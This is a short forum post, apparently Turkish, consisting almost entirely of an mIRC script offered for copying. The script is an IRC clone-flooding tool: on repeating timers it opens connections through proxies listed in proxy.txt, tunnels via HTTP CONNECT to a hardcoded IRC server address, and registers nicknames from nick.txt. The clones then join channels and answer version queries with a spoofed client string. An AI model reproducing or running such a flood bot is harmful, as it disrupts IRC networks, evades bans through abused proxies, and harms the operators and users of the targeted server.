Kod: Kodu kopyalamak için üzerine çift tıklayın!
alias sw { if $sock($1).status == active { sockwrite -nt $1- } }
alias sunucu return 45.2.83.213:6667
alias setname return deneme
alias chanlar return
alias ident return deneme
alias basla {
foral
timerforum 0 8 /foral
timercycle 0 4 /clon
}
alias dur {
.timerforum off
.timercycle off
}
alias clon {
set %andd $rand(0,9999999999999)
set %proxy $read(proxy.txt)
sockclose x $+ %andd
sockopen x $+ %andd $gettok(%proxy,1,58) $gettok(%proxy,2,58)
sockclose radyoc $+ %andd
sockopen radyoc $+ %andd $gettok(%proxy,1,58) $gettok(%proxy,2,58)
}
on *:sockopen:x*: {
if ( $sockerr > 0 ) { return }
sw $sockname CONNECT $sunucu $+(HTTP/1.0,$CRLF,$CRLF)
}
on *:sockread:x*:{
if ( $sockerr > 0 ) { return }
var %report
.sockread %report
tokenize 32 %report
var %asasa sockwrite -n $sockname
if ($gettok(%report,1-2,32) == HTTP/1.0 200) || ($gettok(%report,1-2,32) == HTTP/1.1 200) {
set %and $rand(10,2000)
%asasa NICK $read(nick.txt)
%asasa USER $ident ” ” : $+ $setname
.timer $+ $sockname 2 %and /sockclose $sockname
%asasa join $chanlar
}
if ($1 == ping) { %asasa pong $2 }
if (version isin $4) { %asasa notice $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ VERSION esChat v3.6 © 2006 $+ $chr(1) }
if ($2 == 001) {
.hinc -ms Bot gir
if $hget(Bot,gir) > $r(4,8) {
var %bot $sock(x*,$r(1,$sock(x*,0)))
sockwrite -nt %bot quit
}
}
}